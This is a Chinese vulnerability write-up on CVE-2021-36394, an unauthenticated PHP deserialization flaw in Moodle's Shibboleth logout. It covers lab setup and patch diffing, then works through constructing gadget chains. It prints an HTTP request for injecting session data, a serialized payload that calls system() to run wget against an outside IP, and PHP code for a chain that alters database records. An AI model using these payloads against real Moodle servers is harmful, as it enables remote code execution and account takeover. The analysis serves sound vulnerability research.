CVE-2021-36394-Moodle RCE漏洞分析及PHP反序列化利用链构造之旅

VSole2021-10-10 23:01:28

漏洞概述

2021年7月19日,Moodle官方通报了CVE-2021-36394漏洞信息,当Shibboleth认证模块开启时,Moodle v3.11及之前版本可无条件RCE。

官方漏洞通报
https://moodle.org/mod/forum/discuss.php?d=424799

环境搭建

0x01 系统安装

基于Ubuntu v20.04安装v3.9.7版本。安装 `apache + mysql + php`:

sudo apt-get updatesudo apt install apache2 mysql-client mysql-server php libapache2-mod-phpsudo apt install graphviz aspell ghostscript clamav php7.4-pspell php7.4-curl php7.4-gd php7.4-intl php7.4-mysql php7.4-xml php7.4-xmlrpc php7.4-ldap php7.4-zip php7.4-soap php7.4-mbstring php7.4-mysqlisystemctl restart apache2

配置moodle系统:

unzip moodle-3.9.7.zipsudo cp -R moodle /var/www/html/sudo mkdir /var/moodledatasudo chown -R www-data /var/moodledatasudo chmod -R 777 /var/moodledatasudo chmod -R 0755 /var/www/html/moodle

配置数据库:

CREATE DATABASE moodle DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;create user 'moodledude'@'localhost' IDENTIFIED BY '***';GRANT SELECT,INSERT,UPDATE,DELETE,CREATE,CREATE TEMPORARY TABLES,DROP,INDEX,ALTER ON moodle.* TO 'moodledude'@'localhost';flush privileges;

浏览器安装:

配置数据库:

配置config.php文件:

继续配置页面:

安装完成后页面:

0x02 PHPSTORM调试

在ubuntu上安装`Phpstorm + xdebug`进行本地调试,也可以选择远程调试,编译php7.4版本下的xdebug,首先从xdebug官网下载3.0.4版本:

sudo -s apt-get install php7.4-dev make autoconftar -xzvf xdebug-3.0.4.tgzcd xdebug-3.0.4phpize7.4./configuremakecp libs/xdebug.so /usr/lib/php/20190902/xdebug.so

配置php.ini xdebug配置,目录为`/etc/php/7.4/apache2/conf.d/20-xdebug.ini`:

zend_extension=xdebug.soxdebug.mode=debugxdebug.log=/tmp/xdebug.logxdebug.start_with_request=default|defaultxdebug.client_port=9003xdebug.client_host=127.0.0.1xdebug.remote_handler=dbgpxdebug.idekey=PHPSTORMxdebug.cli_color=2xdebug.var_display_max_depth=15xdebug.var_display_max_data=2048xdebug.client_host=127.0.0.1

配置phpstorm xdebug端口:


开启phpstorm监听:


安装firefox xdebug插件:

PHP调试成功:

漏洞分析

补丁对比:


漏洞需启用moodle页面:

0x01 调用过程分析

`/auth/shibboleth/logout.php`首先检查shiboleth是否开启:


注册监听方法:

在`LogoutNotification`中调用`logout_file_session`函数:

在`logout_file_session`中调用`unserializesession`:


最后执行`unserialize`函数:

0x02 `unserialize`分析

`/auth/shibboleth/logout.php`请求为soap格式:

用WSDL工具生成合法的soap请求:

构造soap请求,执行到反序列化流程,执行到`unserializesession`函数:


分析`unserializesession`函数:

  • 使用`preg_spit`函数按照|切分输入字符串,并赋值;
  • `serialized`为反序列化后的内容,根据php序列化规则可知字符串用双引号闭合;
  • 如果字符串中包括|,根据|切分规则导致`unserialize`问题。


截取到的`seaializedString`字符串,需要寻找可控的变量。删除`/var/www/moodledata/sessions`下所有session。获取一个新的cookie。

发送`logout.php`请求。

在反序列化处下断点,内容正好是`/var/www/moodledata/sessions/sess_2m3ft4k2fnuafi3c3ir79l5i7g`文件内容。


经过分析发现`grade/report/grader/index.php`支持session内容注入。注入Referer字段,由clean_param过滤结果。

共有两处设置SESSION的位置,`get_local_refer`有特殊字符过滤。


使用正则表达式匹配Referer字段。

^((http://)|(https://)|(ftp://))?(([a-zA-Z0-9_.!~*'()-]|(%[0-9a-fA-F]{2})|[;&=+$,])+(:([a-zA-Z0-9_.!~*'()-]|(%[0-9a-fA-F]{2})|[;:&=+$,])+){0}@){0}((((((2(([0-4][0-9])|(5[0-5])))|([01]?[0-9]?[0-9]))\.){3}((2(([0-4][0-9])|(5[0-5])))|([01]?[0-9]?[0-9]))))|(([a-zA-Z0-9](([a-zA-Z0-9-]{0,62})[a-zA-Z0-9])?\.)*([a-zA-Z](([a-zA-Z0-9-]*)[a-zA-Z0-9])?)))?(:(([0-5]?[0-9]{1,4})|(6[0-4][0-9]{3})|(65[0-4][0-9]{2})|(655[0-2][0-9])|(6553[0-5])))?(/((;)?([a-zA-Z0-9_.!~*'()-]|(%[0-9a-fA-F]{2})|[:@&=+$,])+(/)?)*)?(\?([;/?:@&=+$,]|[a-zA-Z0-9_.!~*'()-]|(%[0-9a-fA-F]{2}))*)?(\#([;/?:@&=+$,]|[a-zA-Z0-9_.!~*'()-]|(%[0-9a-fA-F]{2}))*)?$

0x03 写入特殊字符

全文搜索`SESSION->(.*?) =`正则表达式,定位可写入SESSION的位置,发现`grader/index.php`可写入变量,且`sifirst`和`silast`参数过滤类型为`PARAM_NOTAGS`。


构造测试报文。

POST /moodle/grade/report/grader/index.php HTTP/1.1Host: ***User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: MoodleSession=0brdqm753n29k6mppdtkp1ocld; XDEBUG_SESSION=XDEBUG_ECLIPSESOAPAction: "urn:xmethods-logout-notification#LogoutNotification"Content-Length: 37Content-Type: application/x-www-form-urlencoded
id=1&page=1&edit=0&sifirst=abc123"'abc'

捕获断点,该接口无需认证也能访问。


最后检查session会话文件,其中包含单双引号。


另外的一个点,`/mod/data/view.php`,有可能同样可以绕过,需要先构造测试数据(但需要登录)。


现在可以控制`unserialize`函数的输入参数,实现RCE还需要寻找一条利用链。

反序列化利用链构造

0x01 CVE-2018-14630调试

先调试下历史漏洞CVE-2018-14630:

Remote Code Execution Via PHP Unserialize In Moodle (Cve-2018-14630)
https://sec-consult.com/vulnerability-lab/advisory/remote-code-execution-php-unserialize-moodle-open-source-learning-platform-cve-2018-14630/


参考上一章中的示例报文,排除错误,进一步进行修改。

id=1&page=1&edit=0&sifirst="}}FEEDBACK|O:15:"\core\lock\lock":2:{s:3:"key";O:23:"\core_availability\tree":1:{s:8:"children";O:24:"\core\dml\recordset_walk":2:{s:8:"callback";s:6:"system";s:9:"recordset";O:25:"question_attempt_iterator":2: {s:4:"quba";O:26:"question_usage_by_activity":1:{s:16:"questionattempts";a:1:{s:4:"1337";s:37:"echo `wget http://192.168.1.241:8000`";}}s:5:"slots";a:1:{i:0;i:1337;}}}}s:8:"infinite";i:1;}TEST|O:2:"xx":2:{s:2:"id


进入`lib/classes/component.php的classloader`函数。

第一步:从`self::classmap`和`self::classmaprenames`中匹配输入的`className`输入,使用白名单方式。


第二步:调用`psr_classloader`函数,解析成功后直接文件包含,同样使用白名单方式。


`CVE-2018-14630`反序列化利用链中已不包含`question_attemp_iterator`,解析失败后HTTP报文返回。

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>SOAP-ENV:Serverfaultcode><faultstring>core\dml\recordset_walk::valid(): The script tried to execute a method or access a property of an incomplete object. Please ensure that the class definition "question_attempt_iterator" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide an autoloader to load the class definitionfaultstring>SOAP-ENV:Fault>SOAP-ENV:Body>SOAP-ENV:Envelope>


对比3.9.7和3.9.8版本补丁,修补后只允许stdClass函数。


`recordset_walk`中包含危险函数调用。

0x02 新链寻找之旅

梳理下寻找过程,从以下条件出发:

  1. 从反序列化魔法函数入手,由于`logout_file_session`函数传入字符没有进行字符串操作,因此不用寻找包含`__tostring()`函数的类。
  2. Moodle默认从`/*/classes/*/`中读取类,因此文件需在class文件夹中。
  3. 能够调用或文件包含`/*/classes/*/`的其他类,如`include`、`require`。
  4. 根据以上条件,优先从`__deconstruct`函数入手。


优先找到了lock类,其析构函数包含字符串处理代码。在lock构造函数中设置caller。


接下来继续寻找第二部分,猜测`$this->caller`指向利用链的第二部分,继续在代码中搜索包含`__tostring()`的类。参考CVE-2017-2641利用链构造。

/lib/grade/grade_grade.php <- /lib/gradelib.php <- /analytics/classes/course.php <- \core_analytics\course(\core_analytics\course ->>包含->> /lib/grade/grade_grade.php ->>调用->> \grade_grade)
/lib/grade/grade_item.php <- /lib/gradelib.php <- /analytics/classes/course.php <- \core_analytics\course(\core_analytics\course ->>包含->> /lib/grade/grade_item.php ->>调用->> \grade_item

最终的利用链形式,可实现修改数据库。

$add_lib = new \core_analytics\course();$lib_fb = new \core\lock\lock();$lib_fb -> key = new \core_availability\tree();$lib_fb -> key -> children = new \core\dml\recordset_walk();$lib_fb -> key -> children -> callback = "var_dump";$lib_fb -> key -> children -> recordset = "123";$lib_fb -> released = false;
$base = new gradereport_overview_external();$fb = new gradereport_singleview\local\ui\feedback();$fb -> grade = new grade_grade();$fb -> grade -> grade_item = new grade_item();$fb -> grade -> grade_item -> calculation = "[[somestring";$fb -> grade -> grade_item -> calculation_normalized = false;$fb -> grade -> grade_item -> table = $table;$fb -> grade -> grade_item -> id = $rowId;$fb -> grade -> grade_item -> $column = $value;$fb -> grade -> grade_item -> required_fields = array($column,'id');
$lib_fb -> caller = $fb;$arr = array($add_lib, $lib_fb,$base);
//serializing the array$value = serialize($arr);

系统安装后默认包含一个管理用户,默认用户名为admin,可修改用户名。

至此,反序列化利用链寻找之旅暂告一段落。

phpmoodle
本作品采用《CC 协议》,转载必须注明作者和本文链接
CVE-2021-36394-Moodle RCE漏洞分析及PHP反序列化利用链构造之旅。
之前已经就CVE-2021-36394 Moodle Shibboleth认证模块反序列化漏洞原理进行了详细分析,并且给出了一条可实现修改管理员密码的利用链: 最近发现有小伙伴放出了RCE的利用链,瞅了下确实可行,还是自己功力不够啊,这里分享下对这条利用链的分析过程。
360漏洞云监测到Moodle课程管理系统存在代码注入漏洞(CVE-2021-36394)。
DeepExploit 是一种基于强化学习的自动化渗透框架,号称能够进行高效渗透,本文对该工具进行了分析并给出改进方向 本部分对DE(将DeepExploit简称为DE)利用到的核心工具做简单介绍,分为metasploit介绍和强化学习算法介绍,均为入门介绍,熟悉的读者可自行忽略。
被动式安全扫描器
2023-12-01 07:22:21
被动式安全扫描器
php反序列化初探
2023-04-23 09:50:02
php中的反序列化漏洞通过控制php中的魔术方法,传入构造的恶意反序列化后的字符串,通过魔术方法触发反序列化漏洞,执行我们的恶意代码。注意反序列化构造的类名必须和源码中的一致,不能新生成一个类名。执行eval方法需要调用action()方法,action()方法的调用可以再ClassA的__destruct中调用
文章首发在:奇安信攻防社区https://forum.butian.net/share/2142前言 如果存
unserialize()函数能够重新把字符串变回php原来的值。为了能够unserialize()一个对象,这个对象的类必须已经定义过。如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。将对象格式化成有序的字符串。序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
最近写了点反序列化的题,才疏学浅,希望对CTF新手有所帮助,有啥错误还请大师傅们批评指正。php反序列化简单理解首先我们需要理解什么是序列化,什么是反序列化?本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。
php后门隐藏技巧大全
2022-08-06 08:54:35
辛辛苦苦拿下的 shell,几天没看,管理员给删了。 其实隐藏的技巧也有很多
VSole
网络安全专家